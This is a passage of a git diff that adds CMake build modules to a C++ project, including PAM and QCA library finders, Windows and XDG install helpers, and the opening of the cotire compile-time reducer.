PAM_LIBRARY) + +find_path(PAM_INCLUDE_DIR NAMES security/pam_appl.h pam/pam_appl.h) +find_library(PAM_LIBRARY pam) +find_library(DL_LIBRARY dl) + +if (PAM_INCLUDE_DIR AND PAM_LIBRARY) + set(PAM_FOUND TRUE) + if (DL_LIBRARY) + set(PAM_LIBRARIES ${PAM_LIBRARY} ${DL_LIBRARY}) + else (DL_LIBRARY) + set(PAM_LIBRARIES ${PAM_LIBRARY}) + endif (DL_LIBRARY) + + if (EXISTS ${PAM_INCLUDE_DIR}/pam/pam_appl.h) + # darwin claims to be something special + set(HAVE_PAM_PAM_APPL_H 1) + endif (EXISTS ${PAM_INCLUDE_DIR}/pam/pam_appl.h) + + if (NOT DEFINED PAM_MESSAGE_CONST) + include(CheckCXXSourceCompiles) + # XXX does this work with plain c? + check_cxx_source_compiles(" +#if ${HAVE_PAM_PAM_APPL_H}+0 +# include +#else +# include +#endif + +static int PAM_conv( + int num_msg, + const struct pam_message **msg, /* this is the culprit */ + struct pam_response **resp, + void *ctx) +{ + return 0; +} + +int main(void) +{ + struct pam_conv PAM_conversation = { + &PAM_conv, /* this bombs out if the above does not match */ + 0 + }; + + return 0; +} +" PAM_MESSAGE_CONST) + endif (NOT DEFINED PAM_MESSAGE_CONST) + set(PAM_MESSAGE_CONST ${PAM_MESSAGE_CONST} CACHE BOOL "PAM expects a conversation function with const pam_message") + +endif (PAM_INCLUDE_DIR AND PAM_LIBRARY) + +if (PAM_FOUND) + if (NOT PAM_FIND_QUIETLY) + message(STATUS "Found PAM: ${PAM_LIBRARIES}") + endif (NOT PAM_FIND_QUIETLY) +else (PAM_FOUND) + if (PAM_FIND_REQUIRED) + message(FATAL_ERROR "PAM was not found") + endif(PAM_FIND_REQUIRED) +endif (PAM_FOUND) + +mark_as_advanced(PAM_INCLUDE_DIR PAM_LIBRARY DL_LIBRARY PAM_MESSAGE_CONST) diff --git a/cmake/modules/FindQCA.cmake b/cmake/modules/FindQCA.cmake new file mode 100644 index 0000000..5b14af9 --- /dev/null +++ b/cmake/modules/FindQCA.cmake @@ -0,0 +1,99 @@ +# Find QCA (Qt Cryptography Architecture 2+) +# ~~~~~~~~~~~~~~~~ +# When run this will define +# +# QCA_FOUND - system has QCA +# QCA_LIBRARY - the QCA library or framework +# QCA_INCLUDE_DIR - the QCA include directory +# QCA_VERSION_STR - e.g. "2.0.3" +# +# Copyright (c) 2006, Michael Larouche, +# Copyright (c) 2014, Larry Shaffer, +# +# Redistribution and use is allowed according to the terms of the BSD license. +# For details see the accompanying COPYING-CMAKE-SCRIPTS file. + + +if(QCA_INCLUDE_DIR AND QCA_LIBRARY) + + set(QCA_FOUND TRUE) + +else(QCA_INCLUDE_DIR AND QCA_LIBRARY) + + set(QCA_LIBRARY_NAMES qca-qt5 qca2-qt5) + + find_library(QCA_LIBRARY + NAMES ${QCA_LIBRARY_NAMES} + PATHS + ${LIB_DIR} + $ENV{LIB} + "$ENV{LIB_DIR}" + /usr/local/lib + ) + + set(_qca_fw) + if(QCA_LIBRARY MATCHES "/qca.*\\.framework") + string(REGEX REPLACE "^(.*/qca.*\\.framework).*$" "\\1" _qca_fw "${QCA_LIBRARY}") + endif() + + find_path(QCA_INCLUDE_DIR + NAMES QtCrypto + PATHS + "${_qca_fw}/Headers" + ${LIB_DIR}/include + "$ENV{LIB_DIR}/include" + $ENV{INCLUDE} + /usr/local/include + PATH_SUFFIXES QtCrypto qt5/QtCrypto Qca-qt5/QtCrypto qt/Qca-qt5/QtCrypto qt5/Qca-qt5/QtCrypto + ) + + if(QCA_LIBRARY AND QCA_INCLUDE_DIR) + set(QCA_FOUND TRUE) + endif() + +endif(QCA_INCLUDE_DIR AND QCA_LIBRARY) + +if(NOT QCA_FOUND) + + if(QCA_FIND_REQUIRED) + message(FATAL_ERROR "Could not find QCA") + else() + message(STATUS "Could not find QCA") + endif() + +else(NOT QCA_FOUND) + + # Check version is valid (>= 2.0.3) + # find_package(QCA 2.0.3) works with 2.1.0+, which has a QcaConfigVersion.cmake, but 2.0.3 does not + + # qca_version.h header only available with 2.1.0+ + set(_qca_version_h "${QCA_INCLUDE_DIR}/qca_version.h") + if(EXISTS "${_qca_version_h}") + file(STRINGS "${_qca_version_h}" _qca_version_str REGEX "^.*QCA_VERSION_STR +\"[^\"]+\".*$") + string(REGEX REPLACE "^.*QCA_VERSION_STR +\"([^\"]+)\".*$" "\\1" QCA_VERSION_STR "${_qca_version_str}") + else() + # qca_core.h contains hexadecimal version in <= 2.0.3 + set(_qca_core_h "${QCA_INCLUDE_DIR}/qca_core.h") + if(EXISTS "${_qca_core_h}") + file(STRINGS "${_qca_core_h}" _qca_version_str REGEX "^#define +QCA_VERSION +0x[0-9a-fA-F]+.*") + string(REGEX REPLACE "^#define +QCA_VERSION +0x([0-9a-fA-F]+)$" "\\1" _qca_version_int "${_qca_version_str}") + if("${_qca_version_int}" STREQUAL "020003") + set(QCA_VERSION_STR "2.0.3") + endif() + endif() + endif() + + if(NOT QCA_VERSION_STR) + set(QCA_FOUND FALSE) + if(QCA_FIND_REQUIRED) + message(FATAL_ERROR "Could not find QCA >= 2.0.3") + else() + message(STATUS "Could not find QCA >= 2.0.3") + endif() + else() + if(NOT QCA_FIND_QUIETLY) + message(STATUS "Found QCA: ${QCA_LIBRARY} (${QCA_VERSION_STR})") + endif() + endif() + +endif(NOT QCA_FOUND) diff --git a/cmake/modules/WindowsBuildHelpers.cmake b/cmake/modules/WindowsBuildHelpers.cmake new file mode 100644 index 0000000..6f689ac --- /dev/null +++ b/cmake/modules/WindowsBuildHelpers.cmake @@ -0,0 +1,26 @@ +MACRO(ADD_WINDOWS_RESOURCE TARGET) + IF(VEYON_BUILD_WIN32) + SET(WINRC "${CMAKE_CURRENT_BINARY_DIR}/${TARGET}.rc") + SET(RCOBJ "${CMAKE_CURRENT_BINARY_DIR}/winrc.obj") + ADD_CUSTOM_COMMAND(OUTPUT ${RCOBJ} + COMMAND ${WINDRES} + -I${CMAKE_CURRENT_SOURCE_DIR} + -o${RCOBJ} + -i${WINRC} + DEPENDS ${WINRC}) + TARGET_SOURCES(${TARGET} PUBLIC ${RCOBJ}) + ENDIF(VEYON_BUILD_WIN32) +ENDMACRO() + +MACRO(MAKE_GRAPHICAL_APP TARGET) + IF(VEYON_BUILD_WIN32) + SET_TARGET_PROPERTIES(${TARGET} PROPERTIES LINK_FLAGS -mwindows) + ENDIF() +ENDMACRO() + +MACRO(MAKE_CONSOLE_APP TARGET) + IF(VEYON_BUILD_WIN32) + SET_TARGET_PROPERTIES(${TARGET} PROPERTIES LINK_FLAGS -mconsole) + ENDIF() +ENDMACRO() + diff --git a/cmake/modules/XdgInstall.cmake b/cmake/modules/XdgInstall.cmake new file mode 100644 index 0000000..275ce25 --- /dev/null +++ b/cmake/modules/XdgInstall.cmake @@ -0,0 +1,12 @@ +FIND_PROGRAM(XDG_DESKTOP_MENU_EXECUTABLE xdg-desktop-menu) +SET(XDG_APPS_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/share/applications) + +MACRO(XDG_INSTALL DESKTOP_FILE ICON_XPM ICON_PNG ICON_SVG) + INSTALL(FILES ${DESKTOP_FILE} DESTINATION ${XDG_APPS_INSTALL_DIR}) + INSTALL(FILES ${ICON_XPM} DESTINATION ${CMAKE_INSTALL_PREFIX}/share/pixmaps) + INSTALL(FILES ${ICON_PNG} DESTINATION ${CMAKE_INSTALL_PREFIX}/share/icons/hicolor/48x48/apps) + INSTALL(FILES ${ICON_SVG} DESTINATION ${CMAKE_INSTALL_PREFIX}/share/icons/hicolor/scalable/apps) + #IF(XDG_DESKTOP_MENU_EXECUTABLE) + # INSTALL(CODE "EXECUTE_PROCESS(COMMAND ${XDG_DESKTOP_MENU_EXECUTABLE} install --novendor ${XDG_APPS_INSTALL_DIR}/${DESKTOP_FILE})") + #ENDIF() +ENDMACRO() diff --git a/cmake/modules/cotire.cmake b/cmake/modules/cotire.cmake new file mode 100644 index 0000000..62cd23d --- /dev/null +++ b/cmake/modules/cotire.cmake @@ -0,0 +1,4054 @@ +# - cotire (compile time reducer) +# +# See the cotire manual for usage hints. +# +#============================================================================= +# Copyright 2012-2017 Sascha Kratky +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation +# files (the "Software"), to deal in the Software without +# restriction, including without limitation the rights to use, +# copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following +# conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. +#============================================================================= + +if(__COTIRE_INCLUDED) + return() +endif() +set(__COTIRE_INCLUDED TRUE) + +# call cmake_minimum_required, but prevent modification of the CMake policy stack in include mode +# cmake_minimum_required also sets the policy version as a side effect, which we have to avoid +if (NOT CMAKE_SCRIPT_MODE_FILE) + cmake_policy(PUSH) +endif() +cmake_minimum_required(VERSION 2.8.12) +if (NOT CMAKE_SCRIPT_MODE_FILE) + cmake_policy(POP) +endif() + +set (COTIRE_CMAKE_MODULE_FILE "${CMAKE_CURRENT_LIST_FILE}") +set (COTIRE_CMAKE_MODULE_VERSION "1.7.10") + +# activate select policies +if (POLICY CMP0025) + # Compiler id for Apple Clang is now AppleClang + cmake_policy(SET CMP0025 NEW) +endif() + +if (POLICY CMP0026) + # disallow use of the LOCATION target property + cmake_policy(SET CMP0026 NEW) +endif() + +if (POLICY CMP0038) + # targets may not link directly to themselves + cmake_policy(SET CMP0038 NEW) +endif() + +if (POLICY CMP0039) + # utility targets may not have link dependencies + cmake_policy(SET CMP0039 NEW) +endif() + +if (POLICY CMP0040) + # target in the TARGET signature of add_custom_command() must exist + cmake_policy(SET CMP0040 NEW) +endif() + +if (POLICY CMP0045) + # error on non-existent target in get_target_property + cmake_policy(SET CMP0045 NEW) +endif() + +if (POLICY CMP0046) + # error on non-existent dependency in add_dependencies + cmake_policy(SET CMP0046 NEW) +endif() + +if (POLICY CMP0049) + # do not expand variables in target source entries + cmake_policy(SET CMP0049 NEW) +endif() + +if (POLICY CMP0050) + # disallow add_custom_command SOURCE signatures + cmake_policy(SET CMP0050 NEW) +endif() + +if (POLICY CMP0051) + # include TARGET_OBJECTS expressions in a target's SOURCES property + cmake_policy(SET CMP0051 NEW) +endif() + +if (POLICY CMP0053) + # simplify variable reference and escape sequence evaluation + cmake_policy(SET CMP0053 NEW) +endif() + +if (POLICY CMP0054) + # only interpret if() arguments as variables or keywords when unquoted + cmake_policy(SET CMP0054 NEW) +endif() + +if (POLICY CMP0055) + # strict checking for break() command + cmake_policy(SET CMP0055 NEW) +endif() + +include(CMakeParseArguments) +include(ProcessorCount) + +function (cotire_get_configuration_types _configsVar) + set (_configs "") + if (CMAKE_CONFIGURATION_TYPES) + list (APPEND _configs ${CMAKE_CONFIGURATION_TYPES}) + endif() + if (CMAKE_BUILD_TYPE) + list (APPEND _configs "${CMAKE_BUILD_TYPE}") + endif() + if (_configs) + list (REMOVE_DUPLICATES _configs) + set (${_configsVar} ${_configs} PARENT_SCOPE) + else() + set (${_configsVar} "None" PARENT_SCOPE) + endif() +endfunction() + +function (cotire_get_source_file_extension _sourceFile _extVar) + # get_filename_component returns extension from first occurrence of . in file name + # this function computes the extension from last occurrence of . in file name + string (FIND "${_sourceFile}" "." _index REVERSE) + if (_index GREATER -1) + math (EXPR _index "${_index} + 1") + string (SUBSTRING "${_sourceFile}" ${_index} -1 _sourceExt) + else() + set (_sourceExt "") + endif() + set (${_extVar} "${_sourceExt}" PARENT_SCOPE) +endfunction() + +macro (cotire_check_is_path_relative_to _path _isRelativeVar) + set (${_isRelativeVar} FALSE) + if (IS_ABSOLUTE "${_path}") + foreach (_dir ${ARGN}) + file (RELATIVE_PATH _relPath "${_dir}" "${_path}") + if (NOT _relPath OR (NOT IS_ABSOLUTE "${_relPath}" AND NOT "${_relPath}" MATCHES "^\\.\\.")) + set (${_isRelativeVar} TRUE) + break() + endif() + endforeach() + endif() +endmacro() + +function (cotire_filter_language_source_files _language _target _sourceFilesVar _excludedSourceFilesVar _cotiredSourceFilesVar) + if (CMAKE_${_language}_SOURCE_FILE_EXTENSIONS) + set (_languageExtensions "${CMAKE_${_language}_SOURCE_FILE_EXTENSIONS}") + else() + set (_languageExtensions "") + endif() + if (CMAKE_${_language}_IGNORE_EXTENSIONS) + set (_ignoreExtensions "${CMAKE_${_language}_IGNORE_EXTENSIONS}") + else() + set (_ignoreExtensions "") + endif() + if (COTIRE_UNITY_SOURCE_EXCLUDE_EXTENSIONS) + set (_excludeExtensions "${COTIRE_UNITY_SOURCE_EXCLUDE_EXTENSIONS}") + else() + set (_excludeExtensions "") + endif() + if (COTIRE_DEBUG AND _languageExtensions) + message (STATUS "${_language} source file extensions: ${_languageExtensions}") + endif() + if (COTIRE_DEBUG AND _ignoreExtensions) + message (STATUS "${_language} ignore extensions: ${_ignoreExtensions}") + endif() + if (COTIRE_DEBUG AND _excludeExtensions) + message (STATUS "${_language} exclude extensions: ${_excludeExtensions}") + endif() + if (CMAKE_VERSION VERSION_LESS "3.1.0") + set (_allSourceFiles ${ARGN}) + else() + # as of CMake 3.1 target sources may contain generator expressions + # since we cannot obtain required property information about source files added + # through generator expressions at configure time, we filter them out + string (GENEX_STRIP "${ARGN}" _allSourceFiles) + endif() + set (_filteredSourceFiles "") + set (_excludedSourceFiles "") + foreach (_sourceFile ${_allSourceFiles}) + get_source_file_property(_sourceIsHeaderOnly "${_sourceFile}" HEADER_FILE_ONLY) + get_source_file_property(_sourceIsExternal "${_sourceFile}" EXTERNAL_OBJECT) + get_source_file_property(_sourceIsSymbolic "${_sourceFile}" SYMBOLIC) + if (NOT _sourceIsHeaderOnly AND NOT _sourceIsExternal AND NOT _sourceIsSymbolic) + cotire_get_source_file_extension("${_sourceFile}" _sourceExt) + if (_sourceExt) + list (FIND _ignoreExtensions "${_sourceExt}" _ignoreIndex) + if (_ignoreIndex LESS 0) + list (FIND _excludeExtensions "${_sourceExt}" _excludeIndex) + if (_excludeIndex GREATER -1) + list (APPEND _excludedSourceFiles "${_sourceFile}") + else() + list (FIND _languageExtensions "${_sourceExt}" _sourceIndex) + if (_sourceIndex GREATER -1) + # consider source file unless it is excluded explicitly + get_source_file_property(_sourceIsExcluded "${_sourceFile}" COTIRE_EXCLUDED) + if (_sourceIsExcluded) + list (APPEND _excludedSourceFiles "${_sourceFile}") + else() + list (APPEND _filteredSourceFiles "${_sourceFile}") + endif() + else() + get_source_file_property(_sourceLanguage "${_sourceFile}" LANGUAGE) + if ("${_sourceLanguage}" STREQUAL "${_language}") + # add to excluded sources, if file is not ignored and has correct language without having the correct extension + list (APPEND _excludedSourceFiles "${_sourceFile}") + endif() + endif() + endif() + endif() + endif() + endif() + endforeach() + # separate filtered source files from already cotired ones + # the COTIRE_TARGET property of a source file may be set while a target is being processed by cotire + set (_sourceFiles "") + set (_cotiredSourceFiles "") + foreach (_sourceFile ${_filteredSourceFiles}) + get_source_file_property(_sourceIsCotired "${_sourceFile}" COTIRE_TARGET) + if (_sourceIsCotired) + list (APPEND _cotiredSourceFiles "${_sourceFile}") + else() + get_source_file_property(_sourceCompileFlags "${_sourceFile}" COMPILE_FLAGS) + if (_sourceCompileFlags) + # add to excluded sources, if file has custom compile flags + list (APPEND _excludedSourceFiles "${_sourceFile}") + else() + list (APPEND _sourceFiles "${_sourceFile}") + endif() + endif() + endforeach() + if (COTIRE_DEBUG) + if (_sourceFiles) + message (STATUS "Filtered ${_target} ${_language} sources: ${_sourceFiles}") + endif() + if (_excludedSourceFiles) + message (STATUS "Excluded ${_target} ${_language} sources: ${_excludedSourceFiles}") + endif() + if (_cotiredSourceFiles) + message (STATUS "Cotired ${_target} ${_language} sources: ${_cotiredSourceFiles}") + endif() + endif() + set (${_sourceFilesVar} ${_sourceFiles} PARENT_SCOPE) + set (${_excludedSourceFilesVar} ${_excludedSourceFiles} PARENT_SCOPE) + set (${_cotiredSourceFilesVar} ${_cotiredSourceFiles} PARENT_SCOPE) +endfunction() + +function (cotire_get_objects_with_property_on _filteredObjectsVar _property _type) + set (_filteredObjects "") + foreach (_object ${ARGN}) + get_property(_isSet ${_type} "${_object}" PROPERTY ${_property} SET) + if (_isSet) + get_property(_propertyValue ${_type} "${_object}" PROPERTY ${_property}) + if (_propertyValue) + list (APPEND _filteredObjects "${_object}") + endif() + endif() + endforeach() + set (${_filteredObjectsVar} ${_filteredObjects} PARENT_SCOPE) +endfunction() + +function (cotire_get_objects_with_property_off _filteredObjectsVar _property _type) + set (_filteredObjects "") + foreach (_object ${ARGN}) + get_property(_isSet ${_type} "${_object}" PROPERTY ${_property} SET) + if (_isSet) + get_property(_propertyValue ${_type} "${_object}" PROPERTY ${_property}) + if (NOT _propertyValue) + list (APPEND _filteredObjects "${_object}") + endif() + endif() + endforeach() + set (${_filteredObjectsVar} ${_filteredObjects} PARENT_SCOPE) +endfunction() + +function (cotire_get_source_file_property_values _valuesVar _property) + set (_values "") + foreach (_sourceFile ${ARGN}) + get_source_file_property(_propertyValue "${_sourceFile}" ${_property}) + if (_propertyValue) + list (APPEND _values "${_propertyValue}") + endif() + endforeach() + set (${_valuesVar} ${_values} PARENT_SCOPE) +endfunction() + +function (cotire_resolve_config_properties _configurations _propertiesVar) + set (_properties "") + foreach (_property ${ARGN}) + if ("${_property}" MATCHES "") + foreach (_config ${_configurations}) + string (TOUPPER "${_config}" _upperConfig) + string (REPLACE "" "${_upperConfig}" _configProperty "${_property}") + list (APPEND _properties ${_configProperty}) + endforeach() + else() + list (APPEND _properties ${_property}) + endif() + endforeach() + set (${_propertiesVar} ${_properties} PARENT_SCOPE) +endfunction() + +function (cotire_copy_set_properties _configurations _type _source _target) + cotire_resolve_config_properties("${_configurations}" _properties ${ARGN}) + foreach (_property ${_properties}) + get_property(_isSet ${_type} ${_source} PROPERTY ${_property} SET) + if (_isSet) + get_property(_propertyValue ${_type} ${_source} PROPERTY ${_property}) + set_property(${_type} ${_target} PROPERTY ${_property} "${_propertyValue}") + endif() + endforeach() +endfunction() + +function (cotire_get_target_usage_requirements _target _config _targetRequirementsVar) + set (_targetRequirements "") + get_target_property(_librariesToProcess ${_target} LINK_LIBRARIES) + while (_librariesToProcess) + # remove from head + list (GET _librariesToProcess 0 _library) + list (REMOVE_AT _librariesToProcess 0) + if (_library MATCHES "^\\$<\\$:([A-Za-z0-9_:-]+)>$") + set (_library "${CMAKE_MATCH_1}") + elseif (_config STREQUAL "None" AND _library MATCHES "^\\$<\\$:([A-Za-z0-9_:-]+)>$") + set (_library "${CMAKE_MATCH_1}") + endif() + if (TARGET ${_library}) + list (FIND _targetRequirements ${_library} _index) + if (_index LESS 0) + list (APPEND _targetRequirements ${_library}) + # BFS traversal of transitive libraries + get_target_property(_libraries ${_library} INTERFACE_LINK_LIBRARIES) + if (_libraries) + list (APPEND _librariesToProcess ${_libraries}) + list (REMOVE_DUPLICATES _librariesToProcess) + endif() + endif() + endif() + endwhile() + set (${_targetRequirementsVar} ${_targetRequirements} PARENT_SCOPE) +endfunction() + +function (cotire_filter_compile_flags _language _flagFilter _matchedOptionsVar _unmatchedOptionsVar) + if (WIN32 AND CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + set (_flagPrefix "[/-]") + else() + set (_flagPrefix "--?") + endif() + set (_optionFlag "") + set (_matchedOptions "") + set (_unmatchedOptions "") + foreach (_compileFlag ${ARGN}) + if (_compileFlag) + if (_optionFlag AND NOT "${_compileFlag}" MATCHES "^${_flagPrefix}") + # option with separate argument + list (APPEND _matchedOptions "${_compileFlag}") + set (_optionFlag "") + elseif ("${_compileFlag}" MATCHES "^(${_flagPrefix})(${_flagFilter})$") + # remember option + set (_optionFlag "${CMAKE_MATCH_2}") + elseif ("${_compileFlag}" MATCHES "^(${_flagPrefix})(${_flagFilter})(.+)$") + # option with joined argument + list (APPEND _matchedOptions "${CMAKE_MATCH_3}") + set (_optionFlag "") + else() + # flush remembered option + if (_optionFlag) + list (APPEND _matchedOptions "${_optionFlag}") + set (_optionFlag "") + endif() + # add to unfiltered options + list (APPEND _unmatchedOptions "${_compileFlag}") + endif() + endif() + endforeach() + if (_optionFlag) + list (APPEND _matchedOptions "${_optionFlag}") + endif() + if (COTIRE_DEBUG AND _matchedOptions) + message (STATUS "Filter ${_flagFilter} matched: ${_matchedOptions}") + endif() + if (COTIRE_DEBUG AND _unmatchedOptions) + message (STATUS "Filter ${_flagFilter} unmatched: ${_unmatchedOptions}") + endif() + set (${_matchedOptionsVar} ${_matchedOptions} PARENT_SCOPE) + set (${_unmatchedOptionsVar} ${_unmatchedOptions} PARENT_SCOPE) +endfunction() + +function (cotire_is_target_supported _target _isSupportedVar) + if (NOT TARGET "${_target}") + set (${_isSupportedVar} FALSE PARENT_SCOPE) + return() + endif() + get_target_property(_imported ${_target} IMPORTED) + if (_imported) + set (${_isSupportedVar} FALSE PARENT_SCOPE) + return() + endif() + get_target_property(_targetType ${_target} TYPE) + if (NOT _targetType MATCHES "EXECUTABLE|(STATIC|SHARED|MODULE|OBJECT)_LIBRARY") + set (${_isSupportedVar} FALSE PARENT_SCOPE) + return() + endif() + set (${_isSupportedVar} TRUE PARENT_SCOPE) +endfunction() + +function (cotire_get_target_compile_flags _config _language _target _flagsVar) + string (TOUPPER "${_config}" _upperConfig) + # collect options from CMake language variables + set (_compileFlags "") + if (CMAKE_${_language}_FLAGS) + set (_compileFlags "${_compileFlags} ${CMAKE_${_language}_FLAGS}") + endif() + if (CMAKE_${_language}_FLAGS_${_upperConfig}) + set (_compileFlags "${_compileFlags} ${CMAKE_${_language}_FLAGS_${_upperConfig}}") + endif() + if (_target) + # add target compile flags + get_target_property(_targetflags ${_target} COMPILE_FLAGS) + if (_targetflags) + set (_compileFlags "${_compileFlags} ${_targetflags}") + endif() + endif() + if (UNIX) + separate_arguments(_compileFlags UNIX_COMMAND "${_compileFlags}") + elseif(WIN32) + separate_arguments(_compileFlags WINDOWS_COMMAND "${_compileFlags}") + else() + separate_arguments(_compileFlags) + endif() + # target compile options + if (_target) + get_target_property(_targetOptions ${_target} COMPILE_OPTIONS) + if (_targetOptions) + list (APPEND _compileFlags ${_targetOptions}) + endif() + endif() + # interface compile options from linked library targets + if (_target) + set (_linkedTargets "") + cotire_get_target_usage_requirements(${_target} ${_config} _linkedTargets) + foreach (_linkedTarget ${_linkedTargets}) + get_target_property(_targetOptions ${_linkedTarget} INTERFACE_COMPILE_OPTIONS) + if (_targetOptions) + list (APPEND _compileFlags ${_targetOptions}) + endif() + endforeach() + endif() + # handle language standard properties + if (CMAKE_${_language}_STANDARD_DEFAULT) + # used compiler supports language standard levels + if (_target) + get_target_property(_targetLanguageStandard ${_target} ${_language}_STANDARD) + if (_targetLanguageStandard) + set (_type "EXTENSION") + get_property(_isSet TARGET ${_target} PROPERTY ${_language}_EXTENSIONS SET) + if (_isSet) + get_target_property(_targetUseLanguageExtensions ${_target} ${_language}_EXTENSIONS) + if (NOT _targetUseLanguageExtensions) + set (_type "STANDARD") + endif() + endif() + if (CMAKE_${_language}${_targetLanguageStandard}_${_type}_COMPILE_OPTION) + list (APPEND _compileFlags "${CMAKE_${_language}${_targetLanguageStandard}_${_type}_COMPILE_OPTION}") + endif() + endif() + endif() + endif() + # handle the POSITION_INDEPENDENT_CODE target property + if (_target) + get_target_property(_targetPIC ${_target} POSITION_INDEPENDENT_CODE) + if (_targetPIC) + get_target_property(_targetType ${_target} TYPE) + if (_targetType STREQUAL "EXECUTABLE" AND CMAKE_${_language}_COMPILE_OPTIONS_PIE) + list (APPEND _compileFlags "${CMAKE_${_language}_COMPILE_OPTIONS_PIE}") + elseif (CMAKE_${_language}_COMPILE_OPTIONS_PIC) + list (APPEND _compileFlags "${CMAKE_${_language}_COMPILE_OPTIONS_PIC}") + endif() + endif() + endif() + # handle visibility target properties + if (_target) + get_target_property(_targetVisibility ${_target} ${_language}_VISIBILITY_PRESET) + if (_targetVisibility AND CMAKE_${_language}_COMPILE_OPTIONS_VISIBILITY) + list (APPEND _compileFlags "${CMAKE_${_language}_COMPILE_OPTIONS_VISIBILITY}${_targetVisibility}") + endif() + get_target_property(_targetVisibilityInlines ${_target} VISIBILITY_INLINES_HIDDEN) + if (_targetVisibilityInlines AND CMAKE_${_language}_COMPILE_OPTIONS_VISIBILITY_INLINES_HIDDEN) + list (APPEND _compileFlags "${CMAKE_${_language}_COMPILE_OPTIONS_VISIBILITY_INLINES_HIDDEN}") + endif() + endif() + # platform specific flags + if (APPLE) + get_target_property(_architectures ${_target} OSX_ARCHITECTURES_${_upperConfig}) + if (NOT _architectures) + get_target_property(_architectures ${_target} OSX_ARCHITECTURES) + endif() + if (_architectures) + foreach (_arch ${_architectures}) + list (APPEND _compileFlags "-arch" "${_arch}") + endforeach() + endif() + if (CMAKE_OSX_SYSROOT) + if (CMAKE_${_language}_SYSROOT_FLAG) + list (APPEND _compileFlags "${CMAKE_${_language}_SYSROOT_FLAG}" "${CMAKE_OSX_SYSROOT}") + else() + list (APPEND _compileFlags "-isysroot" "${CMAKE_OSX_SYSROOT}") + endif() + endif() + if (CMAKE_OSX_DEPLOYMENT_TARGET) + if (CMAKE_${_language}_OSX_DEPLOYMENT_TARGET_FLAG) + list (APPEND _compileFlags "${CMAKE_${_language}_OSX_DEPLOYMENT_TARGET_FLAG}${CMAKE_OSX_DEPLOYMENT_TARGET}") + else() + list (APPEND _compileFlags "-mmacosx-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}") + endif() + endif() + endif() + if (COTIRE_DEBUG AND _compileFlags) + message (STATUS "Target ${_target} compile flags: ${_compileFlags}") + endif() + set (${_flagsVar} ${_compileFlags} PARENT_SCOPE) +endfunction() + +function (cotire_get_target_include_directories _config _language _target _includeDirsVar _systemIncludeDirsVar) + set (_includeDirs "") + set (_systemIncludeDirs "") + # default include dirs + if (CMAKE_INCLUDE_CURRENT_DIR) + list (APPEND _includeDirs "${CMAKE_CURRENT_BINARY_DIR}") + list (APPEND _includeDirs "${CMAKE_CURRENT_SOURCE_DIR}") + endif() + set (_targetFlags "") + cotire_get_target_compile_flags("${_config}" "${_language}" "${_target}" _targetFlags) + # parse additional include directories from target compile flags + if (CMAKE_INCLUDE_FLAG_${_language}) + string (STRIP "${CMAKE_INCLUDE_FLAG_${_language}}" _includeFlag) + string (REGEX REPLACE "^[-/]+" "" _includeFlag "${_includeFlag}") + if (_includeFlag) + set (_dirs "") + cotire_filter_compile_flags("${_language}" "${_includeFlag}" _dirs _ignore ${_targetFlags}) + if (_dirs) + list (APPEND _includeDirs ${_dirs}) + endif() + endif() + endif() + # parse additional system include directories from target compile flags + if (CMAKE_INCLUDE_SYSTEM_FLAG_${_language}) + string (STRIP "${CMAKE_INCLUDE_SYSTEM_FLAG_${_language}}" _includeFlag) + string (REGEX REPLACE "^[-/]+" "" _includeFlag "${_includeFlag}") + if (_includeFlag) + set (_dirs "") + cotire_filter_compile_flags("${_language}" "${_includeFlag}" _dirs _ignore ${_targetFlags}) + if (_dirs) + list (APPEND _systemIncludeDirs ${_dirs}) + endif() + endif() + endif() + # target include directories + get_directory_property(_dirs DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" INCLUDE_DIRECTORIES) + if (_target) + get_target_property(_targetDirs ${_target} INCLUDE_DIRECTORIES) + if (_targetDirs) + list (APPEND _dirs ${_targetDirs}) + endif() + get_target_property(_targetDirs ${_target} INTERFACE_SYSTEM_INCLUDE_DIRECTORIES) + if (_targetDirs) + list (APPEND _systemIncludeDirs ${_targetDirs}) + endif() + endif() + # interface include directories from linked library targets + if (_target) + set (_linkedTargets "") + cotire_get_target_usage_requirements(${_target} ${_config} _linkedTargets) + foreach (_linkedTarget ${_linkedTargets}) + get_target_property(_linkedTargetType ${_linkedTarget} TYPE) + if (CMAKE_INCLUDE_CURRENT_DIR_IN_INTERFACE AND NOT CMAKE_VERSION VERSION_LESS "3.4.0" AND + _linkedTargetType MATCHES "(STATIC|SHARED|MODULE|OBJECT)_LIBRARY") + # CMAKE_INCLUDE_CURRENT_DIR_IN_INTERFACE refers to CMAKE_CURRENT_BINARY_DIR and CMAKE_CURRENT_SOURCE_DIR + # at the time, when the target was created. These correspond to the target properties BINARY_DIR and SOURCE_DIR + # which are only available with CMake 3.4 or later. + get_target_property(_targetDirs ${_linkedTarget} BINARY_DIR) + if (_targetDirs) + list (APPEND _dirs ${_targetDirs}) + endif() + get_target_property(_targetDirs ${_linkedTarget} SOURCE_DIR) + if (_targetDirs) + list (APPEND _dirs ${_targetDirs}) + endif() + endif() + get_target_property(_targetDirs ${_linkedTarget} INTERFACE_INCLUDE_DIRECTORIES) + if (_targetDirs) + list (APPEND _dirs ${_targetDirs}) + endif() + get_target_property(_targetDirs ${_linkedTarget} INTERFACE_SYSTEM_INCLUDE_DIRECTORIES) + if (_targetDirs) + list (APPEND _systemIncludeDirs ${_targetDirs}) + endif() + endforeach() + endif() + if (dirs) + list (REMOVE_DUPLICATES _dirs) + endif() + list (LENGTH _includeDirs _projectInsertIndex) + foreach (_dir ${_dirs}) + 